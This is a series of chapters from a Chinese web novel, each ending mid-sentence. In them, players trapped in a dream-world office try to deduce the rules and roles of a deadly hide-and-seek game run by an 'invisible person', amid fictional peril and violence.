林主策背过身去,适时地翻动书页,对俞小澄的话充耳不闻。 面对无视,俞小澄尴尬得面红耳赤,本想识趣地离开,可一想到如今突破口就在他身上,又心有不甘,咬咬牙,继续示好。 “嘞个……要不要来杯咖啡?” 林主策蹬鼻子上脸,头也不回地轻蔑一笑:“呵,那可不敢,我怕你下毒,已经下班了,收收你那些拙劣伎俩,我才不会上当!” “没、没有的事……”俞小澄的手指不自觉地纠缠在一起,对于眼下局面实在应付不来。 进退维谷之际,一只手突然搭上林主策的肩,连人带椅强行转了半圈,一个拳头摆到他眼前,拳头后是吴樊祐的笑脸。 他和郝勇一分钟前刚回到办公区,就看见俞小澄接近林主策,便也跟着围了过来,恰巧撞上林主策给俞小澄难堪。 吴樊祐用温柔的语气说着不那么温柔的话:“不喝咖啡,那要不要吃我一拳?” 林主策后背紧贴椅背,脸上肌肉微微抽搐,强装镇定道:“想、想打架啊?谁怕谁!”说着想要站起身,又被吴樊祐一只手压了回去。 吴樊祐笑得一脸人畜无害,手上动作轻柔,为林主策整理好衣领:“大家都是斯文人,怎么能靠暴力解决问题呢?我喃,就是想跟林主策交个朋友。” “啥?”林主策一脸迷惑,“你这叫交朋友?” “当然,我这人又怕寂寞又胆小,瞧林主策胆子挺大,就想跟你栓在一起,万一透明人找上我,还有林主策垫……不,有主策这个朋友与我有难同当嘛。” 吴樊祐一边拍着林主策的肩,一边笑道。 林主策大惊失色,头摇得跟拨浪鼓似的,连声否认:“不不不,我胆子很小……” “是么?”吴樊祐站直身子,眯着眼睛居高临下,“我瞧你胆子挺大啊,我学姐问话你都敢不回答。” 林主策立马会意,变脸比翻书还快,正襟危坐,对俞小澄无比热情:“学姐好,瞧我这眼神,刚没看到您,学姐想问啥事来着?” 俞小澄愕然,悄悄看了吴樊祐一眼,见他冲自己眨眨眼,便急忙转移视线,清了清嗓子问:“嘞个,林主策怎么会留下加班?” 林主策面露难色,思考片刻回答:“哦,这事啊,怎么说好呢……等你们找到透明人的游戏规则就知道了。” 吴樊祐见状笑着弯下腰,一条胳膊搭在林主策肩上,说:“哦,不好说是吧?没事,今晚林主策在哪儿,我在哪儿,锁死了好不好?” “别别别,大哥,有话好说,你跟我一起,我怕拖累你。”林主策赶紧求饶。 “没事,我不怕。”吴樊祐表现出一种豁达,不顾人死活的那种。 “我怕呀哥,会死人的!”林主策欲哭无泪。 吴樊祐不信:“怕啥呀,你可是NPC,不会死的。” 林主策眼里的恐惧绝不掺假,哀声乞求:“找我真的没用啊,你们还是找别人吧。” 见林主策恨不得跪地求饶的模样,郝勇憋笑憋得眼泪都要出来了。连一直在一旁看戏的招财进宝都忍不住为林主策默哀三秒。 此刻只有俞小澄紧盯着林主策,仔细聆听着他的每一句回答,仿佛那听起来毫无意义的推托之词都隐藏着什么信息。 微微皱了皱眉,俞小澄下意识地问了一句:“我们该找谁?” 尚在纠缠中的二人皆是一愣。 林主策扫视一圈闭上了嘴,然后发现吴樊祐正不怀好意地瞪着自己,心里苦不堪言,愁容满面地说:“大哥别为难我了,我可以告诉你透明人的游戏规则藏在哪里,但你得放过我,如何?” 吴樊祐站直了身子,双手交叉抱臂,靠坐在桌子边缘,眼神示意林主策先说说看。 林主策拗不过他,只得乖乖开口。 透明人的游戏规则会在加班时间段出现,地点就在办公大厅以外的区域,但具体的地点没人知晓,唯一明确的一点是规则线索只在黑暗中出现。 晚上10点前,他们必须找出关于透明人游戏的规则,现在时间刚过7点,剩下的时间算不上十分充裕,吴樊祐提议分开搜索:他负责休息区,俞小澄负责会议区,而郝勇负责单独的办公室、档案室、打印室及杂物间。 “不管最终情况如何,9点前必须回这里集合,就算找不到线索,也得汇合商量接下来的对策。”吴樊祐看着手表提醒道。 事不宜迟,三人商议后开始分头行动。 俞小澄带着招财进宝重新回到会议区,在不知寻找的规则会以何种形式出现在何地的前提下,无异于海底捞针。 “为何是只在黑暗中出现呢?摸黑怎么找啊?” 把茶水间里的柜子挨个翻了一遍的俞小澄嘴里喃喃自语,实在没看出哪里像藏着线索,索性连茶杯底都挨个翻起来看了看。 招财和进宝也非常卖力,将俞小澄没检查到的边边角角全搜了一遍,依然一无所获。 心里虽十分抗拒,但俞小澄也不得不承认:或许真得关了灯,摸黑来找。 犹豫再三,俞小澄关上茶水间的房门,随即熄灭房中所有灯,整 12. 梦境(一) 《我好像住进了黑店》全本免费阅读 房门居然是从里面反锁的,俞小澄分明记得此前转过门把手,当时纹丝不动,并不是从里面反锁的。 俞小澄望着门锁陷入沉思,仿佛刚刚经历的一切都是幻觉,忽然回过神来,左顾右盼寻找招财进宝,这时才注意到门外紧张注视着自己的吴樊祐,而从他身后正探出两个小脑袋,正是招财进宝。 “你们刚才跑哪儿去了?”俞小澄惊魂未定,不禁有些气恼。 招财进宝满脸担忧,还未开口便被吴樊祐抢过话头:“学姐遇到什么事了吗?” 吴樊祐说着探身到茶水间,伸手按了墙上开关,屋子里顿时亮了起来,但一切如常,没有什么奇怪之处。 连俞小澄自己都有些不确定,摇了摇头,只道是错觉。 吴樊祐虽然担心,但是没有继续追问,告知自己已经找到规则,等了一个小时也不见俞小澄回去,这才找了过来。 “一个小时?”俞小澄困惑地抓住吴樊祐手腕,看了一眼手表,发现时间竟然不知不觉走到了8点半。 从离开办公区来到茶水间,最多就找了半个小时,为何莫名其妙少了一个小时,她实在捉摸不透,只能假设自己刚才的确陷入幻觉,模糊了时间。 如今已经找到游戏规则,俞小澄没敢在怪异的事上多纠结,跟着吴樊祐返回到办公区。郝勇已经在此等候,三人寻了个没人的角落,研究起游戏规则。 一张游戏说明书一样的铜版纸在三人面前展开,上面详细地介绍了游戏相关的一切。 游戏名:两个人的捉迷藏 游戏时间:每晚22:00-00:00 游戏说明: ①由透明人当鬼,玩家在限定时间内躲藏。 ②单人躲藏会自动召唤透明人,必死,请谨慎。 ③玩家可选择以下角色同行: 作恶者、无心者、清醒者、良善者、无目者。 ④被鬼抓到时,同行效果如下: 作恶者代替玩家阵亡,无心者和玩家一同阵亡,清醒者会为虎作伥,良善者可守护玩家,无目者毫无作用。 ⑤角色抽取规则: 每天加班部门调换,透明人藏身其中,并挑选一名清醒者; 加班部门除透明人和清醒者外,全员无心者; 作恶者、良善者各一名,其余皆为无目者。 ⑥注意事项: 无心者每人可邀请一名员工加班; 透明人的话不可违背; 除了未被邀请的无目者,所有特殊角色必须留下加班; 一人出局当天游戏结束,作恶者出局整场游戏结束。 这份游戏说明书似乎给众人开了一扇通往希望的门,尤其是最后一句。郝勇手指着最后一行字激动不已:“太好了,我们只要找到作恶者就可以离开梦境!” 欢心雀跃之情溢于言表,却丝毫没有意识到要找出作恶者同样是一个难题。 忽然郝勇像是想到了什么,偷瞄着吴樊祐,随时留意着他的反应,说话都变得小心谨慎:“那我们还要不要冒险寻找记忆之门?” 吴樊祐没有理会,反倒看向俞小澄,请示一般问道:“学姐打算如何?” “找门确实有风险……”俞小澄言语中略带退缩之意。 她的观点与郝勇如出一辙,令郝勇渐渐有了底气,出声附和:“对啊,还是应该稳扎稳打一点,先离开梦境,等下次抢到雏菊房降低了梦境的难度,再找门离开穷途旅店也不迟。” 郝勇自说自话喋喋不休,吴樊祐则根本没听他说话,只是痴痴地盯着俞小澄,劝道:“学姐如果是怕遇到透明人会有危险,我有办法解决。” 俞小澄有些意外,郝勇顿时一脸期待,两人都安静地注视着吴樊祐,静待他说出方案。 吴樊祐指了指郝勇,说:“让这个人引开透明人,我们就可以安心寻找记忆之门了。” 郝勇一时语塞:“?” 俞小澄目瞪口呆:“那他不是死定了?” 吴樊祐手指在说明书的最后一行字上点了点,柔声安慰:“放心,如果他死了,当天游戏结束,我们第二天再找个人引开透明人继续寻找即可。” 郝勇甚至怀疑自己听错了,苦笑着说:“这……吴哥……当着我的面开这种玩笑是不是有点……” 听到吴樊祐的回答,俞小澄整个人都傻了,惊恐地凝视着眼前那张人畜无害的脸,不知他是如何用最温柔的声音说出如此恐怖的话,不由自主地往边上挪了一步。 或许是意识到俞小澄的疏远,吴樊祐面带笑容挠了挠头,靠近一步,试图拉住俞小澄的胳膊,却被闪避开,顿时后悔不已,解释说:“瞧大家这么紧张,我开个玩笑罢了,自然是先离开梦境更稳妥。” “吴哥,瞧你把小俞吓得,哈哈哈……”郝勇嘴上这么说,实则自己长舒了一口气。 “吓破胆的是你吧!”吴樊祐出言嘲笑。 二人你一言我一语玩笑打闹,似乎一切都恢复正常,只有俞小澄始终放不下,她总觉得吴樊祐说那些话时没有开玩笑的成分。 这种想法让她觉得有些害怕,在她记忆中吴樊祐一直是善良美好的存在,不禁再次想起三号客服的那句话——“有罪。” 这两个字就像是某种魔咒,一直萦绕在耳边,久久不能释怀。 时间真能彻底改变一个人吗?四年未见就足以让她的记忆崩塌吗? 俞小澄暂时找不到答案。 “可接下来该如何找到作恶者呢?” 提出这个问题的是郝勇,他终于意识到现下的难题。吴樊祐两手一摊,表示没有头绪。 看着办公区里或聚集或分散的员工,俞小澄用手指数着人头。 美术组有十二人,其他部门共十二人,也就是说,留下加班的除了他们三个玩家,还有二十四个NPC。 根据游戏规则,透明人藏在加班部门员工中,那么美术组除去透明人和清醒者,剩下十人全是无心者,再邀请十人加班,恰好多出两人。 因此,这多出的两人大概率就是作恶者与良善者。 俞小澄一边算着,一边找来纸笔将数据记录下来,在纸上勾勾画画半天,有些不自信地嘀咕:“不会这么简单吧……” “小俞写啥呢?”郝勇看着满纸数字只觉头疼。 俞小澄将自己的猜测细说一番,原本就头疼的郝勇越听越糊涂,五官皱成一团,毫不掩饰自己的愚钝,直言:“要不你直接告诉我该做什么?” “如果能问出美术组成员都邀请了谁,或许能将范围缩小为两人。”俞小澄耐心回答。 “如果有人不说实话呢?” 对于能否如她所说那么顺利,郝勇持怀疑态度。 俞小澄从衣兜里摸出谜语便签纸,递到郝勇面前,说:“应该不会,按照规则,说谎的只有无目者,而作为加班部门的美术组中不会存在无目者。” “喔!原来如此!”郝勇恍然大悟,夸张地冲俞小澄竖 13. 梦境(一) 《我好像住进了黑店》全本免费阅读 看似体贴的行为,可那些话听上去异常凶狠。 俞小澄冷眼看着吴樊祐将台词说完,一时有些茫然,等回过神时,手指已经捏住吴樊祐柔软的脸颊,直到不断加重的手劲下,嗷嗷的叫唤声传来,她才面带歉意松了手。 病态的苦情戏刚刚准备开场,就被无趣的人硬生生打断,吴樊祐哪里还顾得上维持高深形象,眼里泪光闪闪,指腹轻揉着脸颊红肿处,脸上表情无不透着委屈。 “干嘛啊学姐,这么恨我?下手也太狠了吧……” 俞小澄慌张辩解:“对不住,我以为你被夺舍或者鬼附身什么的……” “说什么胡话呐?”吴樊祐唉声叹气。 俞小澄将咖啡杯塞回吴樊祐手里,正色道:“没什么,只是这种话不适合你,或许该喝杯咖啡清醒一下的是你,不是我。有一个问题我刚才就一直想问,游戏规则你是从哪里找到的?” 见俞小澄突然转移话题,吴樊祐有一丝困惑,但还是顺从地回答:“就在娱乐室的桌上放着啊,怎么了?” 俞小澄眉头微蹙:“你没关灯?” 吴樊祐忍俊不禁,戏谑地反问:“摸黑要怎么找?” 俞小澄没有说话,心里隐隐觉得奇怪,不管是旅店规则还是游戏规则,吴樊祐总能轻而易举得到手,就跟开挂了一样。 她始终记得林主策的提示——规则线索只在黑暗中出现,既然林主策不是无目者,那他便没有说谎,而她此前在茶水间看到的“幻觉”极有可能就是林主策口中的线索。 那为何吴樊祐不在黑暗中也能找到线索,还是如此详尽的规则说明? 暂且不论这个奇怪点的缘由,她如今最想确认的是自己看到的幻觉是否也是线索,那个细微低沉的女声所说的“去找到我”又是否是关键呢? 她抬起吴樊祐的手腕,确认了一眼手表上的时间,9点07分,距离游戏开始不足一小时,然后带着心底疑问将吴樊祐推出门外。 简单交代几句,她让吴樊祐在门外接应,如果过了半小时自己还没出来,就推门叫自己。 也许是看出她心中的急切,吴樊祐没有追问缘由,他抬起手腕再次看表确认时间,然后服从安排,把守在门外,静静看着房门关闭。 茶水间内,又只剩下俞小澄和招财进宝。手碰触到电灯开关,上一回遇见的怪事依然历历在目,遗留在记忆中的恐惧令她产生一丝迟疑。 “之前你们跑哪儿去了?”俞小澄问。 进宝看上去比俞小澄还紧张,此时正紧抱俞小澄大腿,埋头瑟瑟发抖,听到发问才抬起头,声音哆哆嗦嗦:“这间屋子不正常。” 招财替她补充道:“灯一熄灭,我们就被推出房间了,就像磁场发生变化,对我们产生排斥,我们想穿门而入却无法突破。” “喔……”俞小澄深吸一口气,做好了再次孤军奋战的心理准备,“那你们也出去等我吧。” 说完这句话,她等待招财进宝穿门而出后,咬牙按下了电灯开关,一切重归黑暗。 如她所料,那怪异的红色光标再次出现,几个文字缓缓在半空中浮现——「你找到我了吗?」 “你是作恶者?”俞小澄问。 「作恶者必须死!」 “那你是谁?” 「没有人知道我是谁,没人记得我的名字,他们总叫我“那个谁”,总当我不存在……为什么要无视我?我一直都在,就在你们身边,却没人认出我来。」 「去找到我,在我们的游戏开始前。只有一次机会,找对,我就认输,找错,你就去死。」 「22点的钟声响起,将换我来找你们,请谨慎选择同行者。猜一猜,你们之中死的会是哪一个?」 「你能认出我么?」 …… 文字出现的速度不断加快,密密麻麻地挤满整个房间,黑暗中红光闪烁,让俞小澄再次感受到什么叫吵到眼睛。 在无声的嘈杂中,又响起细微低沉的女声,慢悠悠地低语:“我的名字,你记得吗?” 一句话仿佛被反复倒带又反复播放,久久萦绕在俞小澄耳畔,吵得她心烦意乱。她晃晃悠悠伸手去开门,不出意外,门又被锁死了,无论她如何拉扯都纹丝不动。 百般无奈下,她双手用力敲门,可咚咚声也掩盖不住重复不断的女声,而门外始终没有动静,仿佛屋外的人早已不知所踪。 眼见无路可逃,俞小澄捂住耳朵大骂太吵,下一刻耳朵里响起一声“降噪”,整个世界顿时清静了,只有满屋的文字还在闪烁。 “原来这道具耳机还有这功能……” 惊喜之余,俞小澄又趁机问道:“游戏规则是什么?你能不能别吵。” 没想到密密麻麻的文字当真听话地消失了,紧接着新的文字逐一出现,排列整齐地展现在眼前: 两个人的捉迷藏,一鬼找两人藏; 别听无目者说话,因为TA会说谎; 别被无心者干扰,因为TA会搅局; 别与清醒者同行,因为TA会背叛; 如果想活到明天,与良善者在一起; 如果想结束游戏,让作恶者替你去死; 如果想终结梦境,去找到我,还有我的名字。 俞小澄在心里默念,想要努力记住这些线索,手不自觉地伸进衣兜,那里还放着写有谜语的便签纸,而眼前的文字与谜语似乎有许多相似点。 正在这时,急促的敲门声响起,如同不速之客,霎时打乱了屋内的节奏。眼前的文字迅速删除,连闪烁的光标也随之消失,一切归于平静,仿佛什么也没发生过。 “学姐?时间到了,你还好吧?” 门外是吴樊祐担忧的问话声,伴随着敲门声此起彼伏。 俞小澄回过神来,和上次一样轻松打开了房门,迎面而来的是吴樊祐关切的目光,以及在他身后探头探脑的招财进宝殷切的问候。 “我没事。”俞小澄缓缓摇了摇头,话锋一转又问,“你记不记得美术组没有邀请别人加班的是哪两个?” 吴樊祐不知所以,领着她回到办公区,远远指了指美术组人群中的两个女员工,她俩的工位彼此紧挨着,此刻全都一脸认真地对着电脑屏幕画图。 不等吴樊祐开口提问,俞小澄径直往他指的方向走去,内心略微忐忑,嘴里小声念叨:“找出作恶者的几率是50%,找出透明人的几率也是50%……” 那些文字,那个声音,全都指向一个答案,一个可以让所有人的存活的游戏规则——找出透明人。 路过三人集合的角落时,俞小澄注意到郝勇不在位子上,环顾四周也没看到他的身影,而林主策也不知所踪。 时间还剩下不到半小时,俞小澄来不及细想,紧绷着神经,一步步靠近那两个“嫌疑人”,思索着该用什么办法锁定她们的身份。 「只有一次机会,找对,我就认输,找错,你就去死。」 这句话在脑海中挥之不散,一切的不确定性都刺激着她不安的情绪,令其不断膨胀,压得她喘不过气来。 当她站在两人身后 14. 梦境(一) 《我好像住进了黑店》全本免费阅读 首先跑到张尧那张床跟前的是郝勇,他一边查看着屋内情况,一边焦急地询问:“这里是什么地方?” 张尧慢吞吞地从床上爬起身,顺着梯子下了床,全然无视郝勇的问话,踱步到了俞小澄面前,饶有兴致地说道:“要不要交换线索?” 吴樊祐心生戒备,将俞小澄护在身后,眯眼笑着问道:“你能有什么有用线索?” “比如,”张尧指尖朝下指了指脚下,“这个房间。” “哦?”吴樊祐眼中闪着狡黠的光,“你先说说看。” 敏锐的嗅觉让张尧对这个新人有几分忌惮,连陈奇那种老流氓都被气得跳脚,他自然不会自找没趣,如果手上没有筹码,的确很难与人交易,为了显示诚意,他淡然说道: “每场梦境都有一个类似安全房的地方,恶灵无法进入,一般触发当日通关条件时会出现,算是给玩家留下喘息机会。” 郝勇一听凑上前来,调侃道:“还挺人性化。” “人性化?哼,不过是规则罢了,毕竟一下子团灭就没有乐趣了。”张尧瞪了一眼郝勇,阴阳怪气地痛斥道。 郝勇当即闭了嘴,灰溜溜地坐到了床上。 他也是运气不好,凑了一回热闹,不仅撞到张尧枪口上,还被吴樊祐逮了个正着,只听吴樊祐乐呵呵地问道:“哟,这不我勇哥吗?刚才你跑哪儿去了?怎么我们去喝杯咖啡的工夫,你人就跑没影了。” 俞小澄也想起郝勇不见一事,当时她只想着找出透明人,没心思过问,如今听吴樊祐提起,也觉察一丝异样。 郝勇脸上笑容僵硬,手脚有种无处安放的紧张,支支吾吾半天,回道:“啊……嘞个……对,我去厕所了!人有三急嘛,哈哈哈……” 他不自然的表现更引起吴樊祐的怀疑,冷哼一声道:“哦,莫非林主策也很急,你们相约一道?” “没、没有的事,怎么?林主策也不见了吗?我没在厕所看到他啊……”郝勇神色慌张,矢口否认道。 吴樊祐说:“是么?你最好是没看到。” 虽不了解详情,但从二人对话中,张尧大概猜出一二,煽风点火道:“和陈奇混在一起的人,能是什么好鸟?” “我、我特么做什么大逆不道的事了我?我就想活着有错吗?!”郝勇气急败坏地大喊道。 吴樊祐还想说什么,被俞小澄拦了下来。 其实郝勇做了什么,她大致能够猜到,无非是害怕吴樊祐选择牺牲他,一旦吴樊祐与自己联手,他便很难有胜算,索性先下手为强,趁着他们去喝咖啡的空档,提前带走林主策去躲藏。 俞小澄没有责备郝勇的立场,生死存亡之际,谁都有权做出选择,不是简单能由道德约束的,更何况,她和吴樊祐对郝勇而言不过是无关痛痒的陌生人罢了。 无意执着于没有意义的争吵,俞小澄打断了众人,低声说道:“大家能活下来就好,我已经找到提前结束当日游戏的办法了。” 此言一出,郝勇和张尧眼里都亮起了光,迫不及待追问。 吴樊祐却出言阻拦:“哪有吃白食的道理,拿线索交换吧。” “我刚不是说了吗?”张尧不满道。 吴樊祐:“就这?不用你说,我们在这儿睡一晚上,如果无事发生,不就自然明白了,你这信息差好像没有必要。” “你!”张尧感觉遇上一个无赖,明目张胆白嫖,他都无处说理,权衡再三,只得妥协,“行!那我再说一个。” “那也要看值不值。”吴樊祐毫不退让。 能安然结束梦境的办法,对张尧太有吸引力,奈何独自进入这场梦境后他能拿到的有效线索不多,交易时自然吃亏,不得已只能将自己通过三场梦境得到的信息分享出来。 他和禾苒、施烨刚来到穷途旅店时,也受到陈奇邀请,那时作为新人的他们什么都不懂,见到有热心的前辈带队,自然乐意。 头两晚,他们在陈奇安排下住进了雏菊房,梦境难度并不高,而且陈奇似乎是找到了安全通关的办法,只要上缴金币,便能高枕无忧。 第一晚的梦境三人还没有意识到危险,然而第二晚的梦境,张尧无意间目睹了陈奇杀人现场。 那时他忽然意识到,陈奇的通关办法就是干掉带进梦境的新人,这些新人不仅是帮他赚金币的工具人,还是他顺利通关梦境的替死鬼。 因为每天进入穷途旅店的新人人数不一样,有时多有时少,甚至有时一连几天都没有新人,张尧知道,继续跟着陈奇,自己早晚会成为下一个替死鬼。 于是第三天,他执意退出陈奇的队伍,并劝说禾苒和施烨一同离开,在雏菊房被陈奇霸占的情况下,他们不得不入住箭竹房。 或许是侥幸,那天入住的新人比较多,有三人与他们一同进了箭竹梦境。 那场梦境的结果很惨烈,绝非雏菊梦境可比,三个新人全部阵亡,就连禾苒都险些命丧于此,这也许正是禾苒去抢夺雏菊房卡的原因。 “我如今清楚的是,有一条不成文的隐性规则,雏菊梦境的死亡上限是一人,箭竹梦境的死亡上限是一天一人,只要超过死亡人数便可结束梦境。” 讲述的过程中,张尧一直面色凝重,似乎光是讲述都能唤醒记忆中的痛苦。 如今再回想初见时张尧说的话,俞小澄终于能理解其中深意了。 “相识的人越多,需要做抉择时难免更受折磨。” 如果注定要有人死去,那至少不要是我相识之人。某种意义上来说,这又何尝不是一种自我安慰。 “嚯……杀人啊……”吴樊祐若有所思。 此前还在陈奇队伍里的郝勇脸色苍白,一想到如果房卡没有被抢,说不定今晚死的就是自己,不禁心惊胆寒。 令俞小澄在意的是,仅仅箭竹难度就已经到达每天死一人的程度,再往上的幽兰和寒梅又会是何种景象?她简直不敢想。 张尧和盘托出,吴樊祐自然也不再阻拦俞小澄说出提前结束当天游戏的办法。 于是俞小澄言简意赅地总结了这一天的发现——只要在晚上十点前找出透明人,就可以跳过捉迷藏游戏,但是机会只有一次,一旦认错,便会死亡。 至于分辨透明人的办法也很简单粗暴,对“那个谁”有反应的就是透明人。 “说起来也奇怪,美术组老大就总这么叫我……”俞小澄小声嘀咕。 郝勇:“营销部长也这样叫我!” 张尧:“林主策也一样。” 吴樊祐:“哦,程序组老大好像也是。” 四人面面相觑,想不明白“那个谁”有什么特殊含义。 “可能NPC懒得记住每个玩家的名字,就用特定代称代替了吧。”吴樊祐推断。 俞小澄不解:“为何透明人也总 15. 梦境(一) 《我好像住进了黑店》全本免费阅读 第二天早上9点,被困在密闭小房间的四人重新出现在公司门前。 办公室内人头攒动,似乎夜里的加班游戏丝毫没有影响打工人的心情,所有人都在各忙各的,只有大门外站着的四个人显得格格不入。 前台两个女生正对镜化妆,瞥见四人却突然低下头,然后眼神交流后,双双离开了前台,不知跑去了何处。 俞小澄感觉到一丝异样,这种感觉和昨天NPC躲避她时十分相似,看来他们之中又有人进入加班行列。 为控制今天加班人数,四人约定绝不落单,尽量保持四人一起行动,可如果他们其中一人已经在加班行列,那四人一起行动极有可能难以打听到新消息,毕竟不加班的NPC会担心他们之中有透明人。 四人商量后决定分成两组行事,俞小澄与吴樊祐一组,郝勇与张尧一组,如果有新的进展再汇合商议。 当务之急是先弄清今天加班的部门,吴樊祐带着俞小澄径直往林主策的工位走去,他是真打算把林主策薅秃了为止。 可他们刚刚靠近策划部,林主策便立刻招呼组员去会议室开会,一副打算避而不见的姿态。 吴樊祐哪会给他机会,跨步上前一把拎住了林主策的衣服后领,跟拎鸡崽一样将人拎到俞小澄面前。 看着林主策心如死灰的模样,俞小澄忍不住问道:“今天加班的不会又是美术组吧?” “嗯?不是透明人啊……真是的,大清早别来吓人好不好?”林主策长舒一口气,挥手召唤组员回工位干活,而后不耐烦地看向俞小澄,“是你们部门加班,关美术组屁事,如果没别的事,麻烦别打扰我们工作。” 林主策反手一挥,打落吴樊祐揪着他后衣领的手,若无其事地回到了工位,一副不将他们放在眼里的样子。 “啧,这人当真欠收拾。” 吴樊祐撸起袖子,想教林主策做人,却被俞小澄拦了下来。 俞小澄手指隔空指了指吴樊祐,又指了指自己,一脸错愕,不自信地问道:“他刚才是不是说,加班的是我们部门?” “嗯,好像是。”吴樊祐点了点头,意识到俞小澄想说的不合理之处。他低头看了看自己脖子上的工牌,又伸手拉过俞小澄的工牌翻看,眉头渐渐皱了起来。 俞小澄往并排在一起的两张工牌上瞧去,只见部门栏的位置都写着“音效设计部”。 玩家的身份会改变这一点是她没有想到的,从NPC的反应看来,今天加班的应该就是音效设计部,而她与吴樊祐已经被内定了加班。 心里的不安正一点点扩大,昨天透明人的话始终让她介怀。 她不禁担忧起来,既然她和吴樊祐的工牌会改变,那郝勇与张尧的工牌是否也难以幸免? 带着这种不安,她和吴樊祐迅速找到郝勇二人,二话不说便翻看他们的工牌,结果犹如晴天霹雳,将俞小澄刚建立起的信心彻底击碎,化为尘埃。 这二人的所属部门也在不知不觉间变成了音效设计部,也就意味着今晚他们四个全都得加班。 吴樊祐假设的解决方案已然行不通,他们不得不通过找出透明人来结束游戏。但是部门改变这件事就像是透明人给俞小澄下的战书,令她心神不宁。 俞小澄告诫郝勇和张尧不要轻易去试探透明人,她总觉得可能事情有变。 对于她担忧的事,每个人看法不同。 郝勇觉得她太过敏感,杞人忧天;张尧同意她的看法,觉得应小心为上;吴樊祐两者均不沾,主打一个不发表个人意见。 意见虽不统一,但四人还是约定,至少加班前不要轻举妄动,剩余时间大家先分头搜集线索,或许能找到别的出路。 既然没了不加班的选择,四人也不用绑定在一起,当即分头行动。 俞小澄去了人事部,她想先借钥匙去查看人事档案,可人事部长对她的态度十分敷衍,不等她开口,便以处理急事为借口将她支到一边,晾了她半个小时还不算完。 心中有怨却不敢发泄,她耐着性子祈祷人事部长良心发现,但故意为难的人又怎么可能说变就变? 四十多分钟过去后,俞小澄还呆立在人事部长桌旁一无所获,几度开口都被打断,所有人看似忙碌,而她显得多余。 无数次,俞小澄总幻想和那些敢于发泄自己不满的人一样,冲无视自己的人大喊,不管是曾经的现实还是如今的梦境,可有些东西很难改变。 于是话到嘴边又被拼命咽下,最终毫无脾气地说了声:“那我等会儿再来……” 转身离开时,她恍惚听见嘲笑声,仿佛宣告着她无能的落败。 记忆蓦然回到一年前,在公司的最后一天,所有个人物品装进两个塑料袋,她以为逃离会显得洒脱,可那天亦如现在这般,身后是嘲笑与闲言碎语,而她只是一个失败者,落荒而逃,狼狈退场。 羞愧、不甘、自我厌弃、绝望……太多负面情绪将她拖入深渊,眼前的一切开始扭曲变形。 “我到底哪里做错了?” “为什么看不见我……” “不是我的错,是他们的错,做错事的人就应该受到制裁!” 一个细微低沉的声音在脑海中回响,俞小澄突然意识到不妙,似乎有什么渗透进她的记忆,宣泄着不属于她的情绪。 俞小澄从衣兜里掏出耳机塞进耳朵里,捂着耳朵不断念叨:“是幻觉,是幻听,都是透明人的把戏……” “降噪。” 那个熟悉的语音再次出现,她的脑子似乎清醒过来,视线变得清晰,影响着她情绪的声音也没再出现。 这时她才发现自己捂着耳朵站在办公区大厅里,周围的NPC正用异样的眼光打量自己,顿时觉得不好意思。 招财飘到她面前,一针见血道:“姐姐你魔怔了?”随即后脑勺就受到进宝一巴掌暴击。 进宝关心道:“姐姐还好吧?人家刚才一直喊你,你都听不见,就跟鬼上身了一样。” 俞小澄瞥了一眼招财,苦笑:“鬼上身不是招财的绝技么,我只是有些走神了而已,如果有鬼你们不是应该看到么?” 招财揉着脑袋嘟着嘴,不乐意地说:“姐姐又拿我们当鬼,我们不是那玩意儿好不?看不到有啥奇怪的……再说,我附身都是帮姐姐,姐姐怎么还不领情?” “好好好,我错了,要不你附身帮我搞定那个人事部长?”俞小澄劝道。 “什么附身?人事部长怎么了?” 一个声音打乱了俞小澄的计划,吴樊祐突然出现在她身后,手里拿着牛奶和三明治,脸上挂着担忧之色。 俞小澄没有提及招财进宝,只是简单说明事情进展不顺利,本想借人事档案柜的钥匙却没借到手。 吴樊祐将牛奶和三明治塞进俞小澄 16. 梦境(一) 《我好像住进了黑店》全本免费阅读 俞小澄和吴樊祐被突如其来的求救声吸引,不约而同走出档案室。 只见郝勇惊慌失措地在大厅里狂奔,不断推倒桌上物品试图阻拦身后的人,而在他身后,一名西装革履的中年男子,手握小刀,身上染血,正紧追不舍挥刀向郝勇捅去。 周围的人只是害怕受到波及,纷纷躲到一旁,冷眼旁观男子的暴行,似乎谁也不打算上前帮忙。 郝勇的求救声满是恐惧与绝望,想要向周围人求助,可没有任何人伸以援手,甚至不发一言,表情无比漠然。 持刀男子扑了上来,将郝勇扑倒在地,提刀就往他身上捅去。郝勇情急之下以手阻挡,刀身瞬间没入手掌,疼得郝勇呜哇惨叫,鲜血喷洒当场。 这血腥的场面吓得俞小澄跟着尖叫,腿一软便瘫倒在地上,救命两个字还没喊出口,眼泪先不争气地落了下来。 吴樊祐本想上前搀扶,却看出俞小澄眼中的急切,一咬牙,转身冲向了郝勇。 俞小澄心跳加速,脑子里的想法十分复杂,她想救郝勇,又担心吴樊祐出事,各种情绪在脑子里打架。 好在吴樊祐迅速冲了上去,一脚将持刀男子踢出一米,随即抓住男子的手腕往后一掰,膝盖压住男子的背,将人彻底钳制住。 郝勇手掌上还插着刀,疼得在地上打滚,嘴里嗷嗷直叫,衣服右肩破损处正往外渗着血,染红了大半边衣袖。 吴樊祐脚下压着的男子还在挣扎,双眼充血,青筋暴起,近乎癫狂地吼道:“不关我的事,是透明人要我做的,不能怪我,不能怪我!必须杀掉他,必须杀掉他,不然我会死的!” 听到男子疯狂的话语,郝勇从疼痛和惊慌中清醒过来,眼底的恐惧蔓延开来,嘴里小声嘀咕:“透明人盯上我了……透明人盯上我了……” 俞小澄稳定心神,从地上爬起身,心有余悸地往事发地跑去,正在这时,她看见郝勇神色异常地奔跑起来,而他去往的方向正是音效设计部。 就在俞小澄琢磨着他想要干什么的时候,郝勇冲到音效设计部员工汇集处,高声怒吼:“那个谁,想对你爷爷下手,门儿都没有!” 这一刻,一个壮汉从人群中走出,脸上带着轻蔑的笑,问:“你又能如何?” 俞小澄跑到吴樊祐身旁时,刚好能从这个角度看清音效设计部所有人的脸。 她的视线从每个人脸上扫过,惊讶地发现人群中有一个人的脸上打着马赛克,从穿着打扮上只能看出是个扎着马尾辫的女生,而视线一旦落在她身上,耳边又会想起《好运来》。 一瞬间,一种不好的直觉油然而生,她眼看着郝勇的行动,一声“不要”脱口而出。 可惜为时已晚,对死亡的恐惧扭曲着郝勇脸上的笑,他面目狰狞,指着壮汉宣告着胜利:“我找到你了,透明人!” 壮汉摇了摇头,一脸惋惜地拍了拍郝勇的肩:“对不起,你猜错了。” 此话一出,整个办公室陷入诡异的沉默,原本站起来看戏的人、躲到一旁免受波及的人,纷纷回到工位,若无其事地重新投入工作。 